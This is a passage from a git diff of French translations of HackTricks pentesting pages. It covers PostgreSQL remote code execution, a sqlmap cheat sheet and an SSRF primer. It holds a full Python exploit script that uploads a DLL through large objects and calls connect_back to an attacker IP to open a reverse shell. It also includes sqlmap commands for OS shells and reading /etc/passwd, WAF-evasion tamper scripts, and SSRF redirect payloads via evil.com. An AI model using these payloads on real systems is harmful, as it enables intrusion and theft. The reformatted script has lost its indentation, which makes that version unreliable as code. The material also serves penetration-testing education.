exploitation permet à l'attaquant d'exécuter du code arbitraire, réalisant ainsi une exécution de code natif sur le système. #### Flux d'attaque -Tout d'abord, vous devez **utiliser des gros objets pour télécharger le fichier dll**. Vous pouvez voir comment faire cela ici : +Tout d'abord, vous devez **utiliser de grands objets pour télécharger le dll**. Vous pouvez voir comment faire cela ici: {% content-ref url="big-binary-files-upload-postgresql.md" %} [big-binary-files-upload-postgresql.md](big-binary-files-upload-postgresql.md) {% endcontent-ref %} -Une fois que vous avez téléchargé l'extension (avec le nom de poc.dll pour cet exemple) dans le répertoire de données, vous pouvez la charger avec : +Une fois que vous avez téléchargé l'extension (avec le nom de poc.dll pour cet exemple) dans le répertoire de données, vous pouvez le charger avec: ```c create function connect_back(text, integer) returns void as '../data/poc', 'connect_back' language C strict; select connect_back('192.168.100.54', 1234); ``` -_Notez que vous n'avez pas besoin d'ajouter l'extension `.dll` car la fonction de création l'ajoutera._ +_Notez que vous n'avez pas besoin d'ajouter l'extension `.dll` car la fonction create l'ajoutera._ Pour plus d'informations, **lisez la** [**publication originale ici**](https://srcincite.io/blog/2020/06/26/sql-injection-double-uppercut-how-to-achieve-remote-code-execution-against-postgresql.html)**.**\ -Dans cette publication, **voici le** [**code utilisé pour générer l'extension postgres**](https://github.com/sourceincite/tools/blob/master/pgpwn.c) (_pour apprendre à compiler une extension postgres, lisez l'une des versions précédentes_).\ +Dans cette publication, **voici le** [**code utilisé pour générer l'extension postgres**](https://github.com/sourceincite/tools/blob/master/pgpwn.c) (_pour apprendre comment compiler une extension postgres, lisez l'une des versions précédentes_).\ Sur la même page, cet **exploit pour automatiser** cette technique a été donné: ```python #!/usr/bin/env python3 import sys if len(sys.argv) != 4: - print("(+) usage %s " % sys.argv[0]) - print("(+) eg: %s 192.168.100.54 1234 si-x64-12.dll" % sys.argv[0]) - sys.exit(1) +print("(+) usage %s " % sys.argv[0]) +print("(+) eg: %s 192.168.100.54 1234 si-x64-12.dll" % sys.argv[0]) +sys.exit(1) host = sys.argv[1] port = int(sys.argv[2]) lib = sys.argv[3] with open(lib, "rb") as dll: - d = dll.read() +d = dll.read() sql = "select lo_import('C:/Windows/win.ini', 1337);" for i in range(0, len(d)//2048): - start = i * 2048 - end = (i+1) * 2048 - if i == 0: - sql += "update pg_largeobject set pageno=%d, data=decode('%s', 'hex') where loid=1337;" % (i, d[start:end].hex()) - else: - sql += "insert into pg_largeobject(loid, pageno, data) values (1337, %d, decode('%s', 'hex'));" % (i, d[start:end].hex()) +start = i * 2048 +end = (i+1) * 2048 +if i == 0: +sql += "update pg_largeobject set pageno=%d, data=decode('%s', 'hex') where loid=1337;" % (i, d[start:end].hex()) +else: +sql += "insert into pg_largeobject(loid, pageno, data) values (1337, %d, decode('%s', 'hex'));" % (i, d[start:end].hex()) if (len(d) % 2048) != 0: - end = (i+1) * 2048 - sql += "insert into pg_largeobject(loid, pageno, data) values (1337, %d, decode('%s', 'hex'));" % ((i+1), d[end:].hex()) +end = (i+1) * 2048 +sql += "insert into pg_largeobject(loid, pageno, data) values (1337, %d, decode('%s', 'hex'));" % ((i+1), d[end:].hex()) sql += "select lo_export(1337, 'poc.dll');" sql += "create function connect_back(text, integer) returns void as '../data/poc', 'connect_back' language C strict;" sql += "select connect_back('%s', %d);" % (host, port) print("(+) building poc.sql file") with open("poc.sql", "w") as sqlfile: - sqlfile.write(sql) +sqlfile.write(sql) print("(+) run poc.sql in PostgreSQL using the superuser") print("(+) for a db cleanup only, run the following sql:") print(" select lo_unlink(l.oid) from pg_largeobject_metadata l;") @@ -335,10 +337,10 @@ print(" drop function connect_back(text, integer);") ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Travaillez-vous dans une entreprise de **cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! -* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* Travaillez-vous dans une **entreprise de cybersécurité**? Vous souhaitez voir votre **entreprise annoncée dans HackTricks**? ou souhaitez-vous avoir accès à la **dernière version du PEASS ou télécharger HackTricks en PDF**? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! +* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) -* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Partagez vos astuces de piratage en soumettant des PR au [repo hacktricks](https://github.com/carlospolop/hacktricks) et au [repo hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**. +* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR au [dépôt hacktricks](https://github.com/carlospolop/hacktricks) et au [dépôt hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**. diff --git a/pentesting-web/sql-injection/sqlmap/README.md b/pentesting-web/sql-injection/sqlmap/README.md index c82180242..15e999db8 100644 --- a/pentesting-web/sql-injection/sqlmap/README.md +++ b/pentesting-web/sql-injection/sqlmap/README.md @@ -1,22 +1,22 @@ -# SQLMap - Feuille de triche +# SQLMap - Aide-mémoire
-Apprenez le piratage AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)! +Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge AWS de HackTricks)! -Autres moyens de soutenir HackTricks : +Autres façons de soutenir HackTricks : -* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! -* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com) -* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm). -* **Partagez vos astuces de piratage en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family) +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** +* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-**Configuration immédiatement disponible pour l'évaluation de la vulnérabilité & le pentesting**. Lancez un pentest complet de n'importe où avec plus de 20 outils & fonctionnalités allant de la reconnaissance au rapport. Nous ne remplaçons pas les pentesters - nous développons des outils personnalisés, des modules de détection & d'exploitation pour leur redonner du temps pour approfondir, obtenir des shells, et s'amuser. +**Configuration instantanément disponible pour l'évaluation des vulnérabilités et les tests de pénétration**. Lancez un pentest complet de n'importe où avec plus de 20 outils et fonctionnalités allant de la reconnaissance au reporting. Nous ne remplaçons pas les pentesteurs - nous développons des outils personnalisés, des modules de détection et d'exploitation pour leur donner du temps pour creuser plus profondément, ouvrir des shells et s'amuser. {% embed url="https://pentest-tools.com/" %} @@ -60,7 +60,7 @@ Autres moyens de soutenir HackTricks : --columns #Columns of a table ( -D -T ) -D -T
-C #Dump column ``` -## Lieu d'injection +## Lieu de l'injection ### À partir de la capture Burp/ZAP @@ -73,7 +73,7 @@ sqlmap -r req.txt --current-user sqlmap -u "http://example.com/?id=1" -p id sqlmap -u "http://example.com/?id=*" -p id ``` -### Injection dans une requête POST +### Injection de requête POST ```bash sqlmap -u "http://example.com" --data "username=*&password=*" ``` @@ -97,11 +97,11 @@ sqlmap --method=PUT -u "http://example.com" --headers="referer:*" ``` ### Eval -**Sqlmap** permet l'utilisation de `-e` ou `--eval` pour traiter chaque payload avant de l'envoyer avec une ligne de code Python. Cela rend très facile et rapide le traitement personnalisé du payload avant son envoi. Dans l'exemple suivant, **la session cookie flask** **est signée par flask avec le secret connu avant l'envoi** : +**Sqlmap** permet l'utilisation de `-e` ou `--eval` pour traiter chaque charge utile avant de l'envoyer avec un code python en une seule ligne. Cela facilite et accélère le traitement de la charge utile de manière personnalisée avant de l'envoyer. Dans l'exemple suivant, la **session cookie flask** **est signée par flask avec le secret connu avant de l'envoyer**: ```bash sqlmap http://1.1.1.1/sqli --eval "from flask_unsign import session as s; session = s.sign({'uid': session}, secret='SecretExfilratedFromTheMachine')" --cookie="session=*" --dump ``` -### Shell +### Coquille ```bash #Exec command python sqlmap.py -u "http://example.com/?id=1" -p id --os-cmd whoami @@ -116,7 +116,7 @@ python sqlmap.py -u "http://example.com/?id=1" -p id --os-pwn ```bash --file-read=/etc/passwd ``` -### Explorer un site web avec SQLmap et exploitation automatique +### Parcourir un site web avec SQLmap et auto-exploiter ```bash sqlmap -u "http://example.com/" --crawl=1 --random-agent --batch --forms --threads=5 --level=5 --risk=3 @@ -124,18 +124,12 @@ sqlmap -u "http://example.com/" --crawl=1 --random-agent --batch --forms --threa --crawl = how deep you want to crawl a site --forms = Parse and test forms ``` -### Injection de Second Ordre +### Injection de second ordre ```bash python sqlmap.py -r /tmp/r.txt --dbms MySQL --second-order "http://targetapp/wishlist" -v 3 sqlmap -r 1.txt -dbms MySQL -second-order "http:///joomla/administrator/index.php" -D "joomla" -dbs ``` -[**Lisez ce post**](second-order-injection-sqlmap.md) **pour apprendre à réaliser des injections de second ordre simples et complexes avec sqlmap.** - -## Labs pour pratiquer - -* Apprenez à utiliser sqlmap dans la **salle THM** : - -{% embed url="https://tryhackme.com/room/sqlmap" %} +[**Lisez cet article**](second-order-injection-sqlmap.md)**sur comment effectuer des injections de second ordre simples et complexes avec sqlmap.** ## Personnalisation de l'injection @@ -152,78 +146,78 @@ python sqlmap.py -u "http://example.com/?id=1" -p id --prefix="') " # The --not-string "string" will help finding a string that does not appear in True responses (for finding boolean blind injection) sqlmap -r r.txt -p id --not-string ridiculous --batch ``` -### Tamper +### Altérer -Rappelez-vous que **vous pouvez créer votre propre tamper en python** et c'est très simple. Vous pouvez trouver un exemple de tamper dans la [page d'Injection de Second Ordre ici](second-order-injection-sqlmap.md). +Rappelez-vous que **vous pouvez créer votre propre altérer en python** et c'est très simple. Vous pouvez trouver un exemple d'altérer dans la [page d'injection de second ordre ici](second-order-injection-sqlmap.md). ```bash --tamper=name_of_the_tamper #In kali you can see all the tampers in /usr/share/sqlmap/tamper ``` | Tamper | Description | | ---------------------------- | ---------------------------------------------------------------------------------------------------------------------------------- | -| apostrophemask.py | Remplace le caractère apostrophe par son équivalent en pleine largeur UTF-8 | -| apostrophenullencode.py | Remplace le caractère apostrophe par son double illégal en unicode | -| appendnullbyte.py | Ajoute un caractère NULL encodé à la fin du payload | -| base64encode.py | Encode en Base64 tous les caractères d'un payload donné | -| between.py | Remplace l'opérateur supérieur ('>') par 'NOT BETWEEN 0 AND #' | -| bluecoat.py | Remplace le caractère espace après une instruction SQL par un caractère espace valide aléatoire. Remplace ensuite le caractère = par l'opérateur LIKE | -| chardoubleencode.py | Double l'encodage URL de tous les caractères dans un payload donné (ne traite pas ceux déjà encodés) | -| commalesslimit.py | Remplace des instances comme 'LIMIT M, N' par 'LIMIT N OFFSET M' | -| commalessmid.py | Remplace des instances comme 'MID(A, B, C)' par 'MID(A FROM B FOR C)' | -| concat2concatws.py | Remplace des instances comme 'CONCAT(A, B)' par 'CONCAT\_WS(MID(CHAR(0), 0, 0), A, B)' | -| charencode.py | Encode en URL tous les caractères d'un payload donné (ne traite pas ceux déjà encodés) | -| charunicodeencode.py | Encode en URL-unicode les caractères non encodés d'un payload donné (ne traite pas ceux déjà encodés). "%u0022" | -| charunicodeescape.py | Échappe en URL-unicode les caractères non encodés d'un payload donné (ne traite pas ceux déjà encodés). "\u0022" | -| equaltolike.py | Remplace toutes les occurrences de l'opérateur égal ('=') par l'opérateur 'LIKE' | -| escapequotes.py | Échappe les guillemets (' et ") | -| greatest.py | Remplace l'opérateur supérieur ('>') par son équivalent 'GREATEST' | -| halfversionedmorekeywords.py | Ajoute un commentaire MySQL versionné avant chaque mot-clé | -| ifnull2ifisnull.py | Remplace des instances comme 'IFNULL(A, B)' par 'IF(ISNULL(A), B, A)' | -| modsecurityversioned.py | Encadre la requête complète avec un commentaire versionné | -| modsecurityzeroversioned.py | Encadre la requête complète avec un commentaire versionné à zéro | -| multiplespaces.py | Ajoute de multiples espaces autour des mots-clés SQL | -| nonrecursivereplacement.py | Remplace des mots-clés SQL prédéfinis par des représentations adaptées au remplacement (par ex. .replace("SELECT", "")) | -| percentage.py | Ajoute un signe pourcentage ('%') devant chaque caractère | -| overlongutf8.py | Convertit tous les caractères d'un payload donné (ne traite pas ceux déjà encodés) | -| randomcase.py | Remplace chaque caractère de mot-clé par une valeur de casse aléatoire | -| randomcomments.py | Ajoute des commentaires aléatoires aux mots-clés SQL | -| securesphere.py | Ajoute une chaîne spécialement conçue | -| sp\_password.py | Ajoute 'sp\_password' à la fin du payload pour une obfuscation automatique des logs DBMS | -| space2comment.py | Remplace le caractère espace (' ') par des commentaires | -| space2dash.py | Remplace le caractère espace (' ') par un commentaire tiret ('--') suivi d'une chaîne aléatoire et d'une nouvelle ligne ('\n') | -| space2hash.py | Remplace le caractère espace (' ') par un caractère dièse ('#') suivi d'une chaîne aléatoire et d'une nouvelle ligne ('\n') | -| space2morehash.py | Remplace le caractère espace (' ') par un caractère dièse ('#') suivi d'une chaîne aléatoire et d'une nouvelle ligne ('\n') | -| space2mssqlblank.py | Remplace le caractère espace (' ') par un caractère espace aléatoire d'un ensemble valide de caractères alternatifs | -| space2mssqlhash.py | Remplace le caractère espace (' ') par un caractère dièse ('#') suivi d'une nouvelle ligne ('\n') | -| space2mysqlblank.py | Remplace le caractère espace (' ') par un caractère espace aléatoire d'un ensemble valide de caractères alternatifs | -| space2mysqldash.py | Remplace le caractère espace (' ') par un commentaire tiret ('--') suivi d'une nouvelle ligne ('\n') | -| space2plus.py | Remplace le caractère espace (' ') par un plus ('+') | -| space2randomblank.py | Remplace le caractère espace (' ') par un caractère espace aléatoire d'un ensemble valide de caractères alternatifs | -| symboliclogical.py | Remplace les opérateurs logiques AND et OR par leurs équivalents symboliques (&& et | -| unionalltounion.py | Remplace UNION ALL SELECT par UNION SELECT | -| unmagicquotes.py | Remplace le caractère guillemet (') par une combinaison multi-octets %bf%27 avec un commentaire générique à la fin (pour le faire fonctionner) | -| uppercase.py | Remplace chaque caractère de mot-clé par une valeur en majuscule 'INSERT' | -| varnish.py | Ajoute un en-tête HTTP 'X-originating-IP' | -| versionedkeywords.py | Encadre chaque mot-clé non fonctionnel avec un commentaire MySQL versionné | -| versionedmorekeywords.py | Encadre chaque mot-clé avec un commentaire MySQL versionné | -| xforwardedfor.py | Ajoute un faux en-tête HTTP 'X-Forwarded-For' | +| apostrophemask.py | Remplace le caractère apostrophe par son homologue en largeur complète UTF-8 | +| apostrophenullencode.py | Remplace le caractère apostrophe par son homologue illégal en double unicode | +| appendnullbyte.py | Ajoute un caractère NULL encodé à la fin de la charge utile | +| base64encode.py | Encode en base64 tous les caractères d'une charge utile donnée | +| between.py | Remplace l'opérateur supérieur ('>') par 'NOT BETWEEN 0 AND #' | +| bluecoat.py | Remplace le caractère espace après une instruction SQL par un caractère blanc aléatoire valide. Ensuite, remplace le caractère = par l'opérateur LIKE | +| chardoubleencode.py | Double encode en URL tous les caractères d'une charge utile donnée (sans traiter les caractères déjà encodés) | +| commalesslimit.py | Remplace les instances comme 'LIMIT M, N' par 'LIMIT N OFFSET M' | +| commalessmid.py | Remplace les instances comme 'MID(A, B, C)' par 'MID(A FROM B FOR C)' | +| concat2concatws.py | Remplace les instances comme 'CONCAT(A, B)' par 'CONCAT_WS(MID(CHAR(0), 0, 0), A, B)' | +| charencode.py | Encode en URL tous les caractères d'une charge utile donnée (sans traiter les caractères déjà encodés) | +| charunicodeencode.py | Encode en URL Unicode les caractères non encodés d'une charge utile donnée (sans traiter les caractères déjà encodés). "%u0022" | +| charunicodeescape.py | Encode en URL Unicode les caractères non encodés d'une charge utile donnée (sans traiter les caractères déjà encodés). "\u0022" | +| equaltolike.py | Remplace toutes les occurrences de l'opérateur égal ('=') par l'opérateur 'LIKE' | +| escapequotes.py | Échappe les guillemets (' et ") | +| greatest.py | Remplace l'opérateur supérieur ('>') par son homologue 'GREATEST' | +| halfversionedmorekeywords.py | Ajoute un commentaire MySQL versionné avant chaque mot-clé | +| ifnull2ifisnull.py | Remplace les instances comme 'IFNULL(A, B)' par 'IF(ISNULL(A), B, A)' | +| modsecurityversioned.py | Encadre la requête complète avec un commentaire versionné | +| modsecurityzeroversioned.py | Encadre la requête complète avec un commentaire à zéro version | +| multiplespaces.py | Ajoute plusieurs espaces autour des mots-clés SQL | +| nonrecursivereplacement.py | Remplace les mots-clés SQL prédéfinis par des représentations adaptées au remplacement (par ex. .replace("SELECT", "")) filtres | +| percentage.py | Ajoute un signe de pourcentage ('%') devant chaque caractère | +| overlongutf8.py | Convertit tous les caractères d'une charge utile donnée (sans traiter les caractères déjà encodés) | +| randomcase.py | Remplace chaque caractère de mot-clé par une valeur de cas aléatoire | +| randomcomments.py | Ajoute des commentaires aléatoires aux mots-clés SQL | +| securesphere.py | Ajoute une chaîne spécialement conçue | +| sp\_password.py | Ajoute 'sp\_password' à la fin de la charge utile pour l'obfuscation automatique des journaux du SGBD | +| space2comment.py | Remplace le caractère espace (' ') par des commentaires | +| space2dash.py | Remplace le caractère espace (' ') par un commentaire de tiret ('--') suivi d'une chaîne aléatoire et d'un saut de ligne ('\n') | +| space2hash.py | Remplace le caractère espace (' ') par un caractère dièse ('#') suivi d'une chaîne aléatoire et d'un saut de ligne ('\n') | +| space2morehash.py | Remplace le caractère espace (' ') par un caractère dièse ('#') suivi d'une chaîne aléatoire et d'un saut de ligne ('\n') | +| space2mssqlblank.py | Remplace le caractère espace (' ') par un caractère blanc aléatoire parmi un ensemble valide de caractères alternatifs | +| space2mssqlhash.py | Remplace le caractère espace (' ') par un caractère dièse ('#') suivi d'un saut de ligne ('\n') | +| space2mysqlblank.py | Remplace le caractère espace (' ') par un caractère blanc aléatoire parmi un ensemble valide de caractères alternatifs | +| space2mysqldash.py | Remplace le caractère espace (' ') par un commentaire de tiret ('--') suivi d'un saut de ligne ('\n') | +| space2plus.py | Remplace le caractère espace (' ') par un plus ('+') | +| space2randomblank.py | Remplace le caractère espace (' ') par un caractère blanc aléatoire parmi un ensemble valide de caractères alternatifs | +| symboliclogical.py | Remplace les opérateurs logiques AND et OR par leurs homologues symboliques (&& et | +| unionalltounion.py | Remplace UNION ALL SELECT par UNION SELECT | +| unmagicquotes.py | Remplace le caractère de guillemet (') par un combo multioctet %bf%27 avec un commentaire générique à la fin (pour le faire fonctionner) | +| uppercase.py | Remplace chaque caractère de mot-clé par une valeur en majuscule 'INSERT' | +| varnish.py | Ajoute un en-tête HTTP 'X-originating-IP' | +| versionedkeywords.py | Encadre chaque mot-clé non fonctionnel avec un commentaire MySQL versionné | +| versionedmorekeywords.py | Encadre chaque mot-clé avec un commentaire MySQL versionné | +| xforwardedfor.py | Ajoute un faux en-tête HTTP 'X-Forwarded-For' |
-**Configuration instantanément disponible pour l'évaluation de la vulnérabilité & le pentesting**. Lancez un pentest complet de n'importe où avec plus de 20 outils & fonctionnalités allant de la reconnaissance au rapport. Nous ne remplaçons pas les pentesters - nous développons des outils personnalisés, des modules de détection & d'exploitation pour leur redonner du temps pour approfondir, obtenir des shells, et s'amuser. +**Configuration instantanée disponible pour l'évaluation des vulnérabilités et les tests de pénétration**. Exécutez un pentest complet de n'importe où avec plus de 20 outils et fonctionnalités allant de la reconnaissance aux rapports. Nous ne remplaçons pas les pentesteurs - nous développons des outils personnalisés, des modules de détection et d'exploitation pour leur donner du temps pour creuser plus profondément, ouvrir des shells et s'amuser. {% embed url="https://pentest-tools.com/" %}
-Apprenez le hacking AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)! +Apprenez le piratage AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)! -Autres moyens de soutenir HackTricks : +Autres façons de soutenir HackTricks: * Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! -* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com) -* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** -* **Partagez vos astuces de hacking en soumettant des PR aux repos github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* **Rejoignez** 💬 le [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** +* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
diff --git a/pentesting-web/ssrf-server-side-request-forgery/README.md b/pentesting-web/ssrf-server-side-request-forgery/README.md index ec9c0646c..eebb5086e 100644 --- a/pentesting-web/ssrf-server-side-request-forgery/README.md +++ b/pentesting-web/ssrf-server-side-request-forgery/README.md @@ -25,11 +25,11 @@ Autres façons de soutenir HackTricks : ## Informations de base -La falsification de requête côté serveur (SSRF - Server-side Request Forgery) est une vulnérabilité où **l'application côté serveur est incitée par un attaquant à effectuer des requêtes HTTP vers un domaine arbitraire choisi par l'attaquant**. +Une vulnérabilité de **Server-side Request Forgery (SSRF)** se produit lorsqu'un attaquant manipule une **application côté serveur** pour effectuer des **requêtes HTTP** vers un domaine de son choix. Cette vulnérabilité expose le serveur à des requêtes externes arbitraires dirigées par l'attaquant. -## Capture de SSRF +## Capture SSRF -La première chose à faire est de capturer une interaction SSRF provoquée par vous. Pour capturer une interaction HTTP ou DNS, vous pouvez utiliser des outils tels que : +La première chose à faire est de capturer une interaction SSRF générée par vous. Pour capturer une interaction HTTP ou DNS, vous pouvez utiliser des outils tels que : * **Burp Collaborator** * [**pingb**](http://pingb.in) @@ -41,9 +41,9 @@ La première chose à faire est de capturer une interaction SSRF provoquée par * [https://github.com/stolenusername/cowitness](https://github.com/stolenusername/cowitness) * [https://github.com/dwisiswant0/ngocok](https://github.com/dwisiswant0/ngocok) - Un Burp Collaborator utilisant ngrok -## Contournement des domaines autorisés +## Contourner les domaines autorisés -Généralement, vous constaterez que le SSRF ne fonctionne que dans **certains domaines ou URL autorisés**. Sur la page suivante, vous trouverez une **compilation de techniques pour essayer de contourner cette liste blanche** : +Généralement, vous constaterez que le SSRF ne fonctionne que dans des **domaines ou URL spécifiques autorisés**. Sur la page suivante, vous trouverez une **compilation de techniques pour essayer de contourner cette liste blanche** : {% content-ref url="url-format-bypass.md" %} [url-format-bypass.md](url-format-bypass.md) @@ -51,7 +51,7 @@ Généralement, vous constaterez que le SSRF ne fonctionne que dans **certains d ### Contournement via redirection ouverte -Si le serveur est correctement protégé, vous pourriez **contourner toutes les restrictions en exploitant une redirection ouverte à l'intérieur de la page web**. Parce que la page web permet **le SSRF vers le même domaine** et suivra probablement les redirections, vous pouvez exploiter la **redirection ouverte pour amener le serveur à accéder à n'importe quelle ressource interne**.\ +Si le serveur est correctement protégé, vous pourriez **contourner toutes les restrictions en exploitant une redirection ouverte à l'intérieur de la page web**. Comme la page web autorisera le **SSRF vers le même domaine** et suivra probablement les redirections, vous pouvez exploiter la **redirection ouverte pour amener le serveur à accéder à n'importe quelle ressource interne**.\ En savoir plus ici : [https://portswigger.net/web-security/ssrf](https://portswigger.net/web-security/ssrf) ## Protocoles @@ -66,7 +66,7 @@ En savoir plus ici : [https://portswigger.net/web-security/ssrf](https://portswi - Identifié comme un protocole de transfert de fichiers sécurisé via shell sécurisé, un exemple est fourni montrant comment un script PHP pourrait être exploité pour se connecter à un serveur SFTP malveillant : `url=sftp://generic.com:11111/` - **TFTP://** -- Le protocole de transfert de fichiers trivial, fonctionnant sur UDP, est mentionné avec un exemple d'un script PHP conçu pour envoyer une requête à un serveur TFTP. Une requête TFTP est faite à 'generic.com' sur le port '12346' pour le fichier 'TESTUDPPACKET' : `ssrf.php?url=tftp://generic.com:12346/TESTUDPPACKET` +- Le protocole Trivial File Transfer Protocol, fonctionnant sur UDP, est mentionné avec un exemple d'un script PHP conçu pour envoyer une requête à un serveur TFTP. Une requête TFTP est envoyée à 'generic.com' sur le port '12346' pour le fichier 'TESTUDPPACKET' : `ssrf.php?url=tftp://generic.com:12346/TESTUDPPACKET` - **LDAP://** - Ce segment couvre le protocole Lightweight Directory Access Protocol, en soulignant son utilisation pour gérer et accéder à des services d'annuaire distribués sur des réseaux IP. Interagissez avec un serveur LDAP en local : `'%0astats%0aquit' via ssrf.php?url=ldap://localhost:11211/%0astats%0aquit.` @@ -74,7 +74,7 @@ En savoir plus ici : [https://portswigger.net/web-security/ssrf](https://portswi - **SMTP** - Une méthode est décrite pour exploiter les vulnérabilités SSRF pour interagir avec les services SMTP en local, y compris des étapes pour révéler les noms de domaine internes et des actions d'investigation supplémentaires basées sur ces informations. ``` -https://twitter.com/har1sec/status/1182255952055164929 +From https://twitter.com/har1sec/status/1182255952055164929 1. connect with SSRF on smtp localhost:25 2. from the first line get the internal domain name 220[ http://blabla.internaldomain.com ](https://t.co/Ad49NBb7xy)ESMTP Sendmail 3. search[ http://internaldomain.com ](https://t.co/K0mHR0SPVH)on github, find subdomains @@ -126,15 +126,14 @@ https://example.com/?q=http://evil.com/redirect.php. {% endcode %} -## SSRF via en-tête Referrer +## SSRF via en-tête Referrer & Autres -Certaines applications utilisent des logiciels d'analyse côté serveur qui suivent les visiteurs. Ce logiciel enregistre souvent l'en-tête Referrer dans les requêtes, car il est particulièrement intéressant pour suivre les liens entrants. Souvent, le logiciel d'analyse visitera en fait n'importe quelle URL tierce qui apparaît dans l'en-tête Referrer. Cela est généralement fait pour analyser le contenu des sites référents, y compris le texte d'ancrage utilisé dans les liens entrants. Par conséquent, l'en-tête Referer représente souvent une surface d'attaque fructueuse pour les vulnérabilités SSRF.\ -Pour découvrir ce type de vulnérabilités "cachées", vous pourriez utiliser le plugin "**Collaborator Everywhere**" de Burp. +Les logiciels d'analyse sur les serveurs enregistrent souvent l'en-tête Referrer pour suivre les liens entrants, une pratique qui expose involontairement les applications aux vulnérabilités de falsification de requête côté serveur (SSRF). Cela est dû au fait que de tels logiciels peuvent visiter des URL externes mentionnées dans l'en-tête Referrer pour analyser le contenu du site de référence. Pour découvrir ces vulnérabilités, le plugin Burp Suite "**Collaborator Everywhere**" est recommandé, en exploitant la manière dont les outils d'analyse traitent l'en-tête Referer pour identifier les surfaces d'attaque SSRF potentielles. ## SSRF via les données SNI du certificat -La configuration incorrecte la plus simple qui vous permettrait de vous connecter à un backend arbitraire ressemblerait à ceci: -```nginx +Une mauvaise configuration qui pourrait permettre la connexion à n'importe quel backend via une configuration simple est illustrée avec un exemple de configuration Nginx : +``` stream { server { listen 443; @@ -144,17 +143,15 @@ ssl_preread on; } } ``` -Ici, la valeur du champ SNI est utilisée directement comme adresse du backend. - -Avec cette configuration non sécurisée, nous pouvons **exploiter la vulnérabilité SSRF simplement en spécifiant l'IP ou le nom de domaine souhaité dans le champ SNI**. Par exemple, la commande suivante forcerait Nginx à se connecter à _internal.host.com_: +Dans cette configuration, la valeur du champ Server Name Indication (SNI) est directement utilisée comme adresse du backend. Cette configuration expose une vulnérabilité à la falsification de 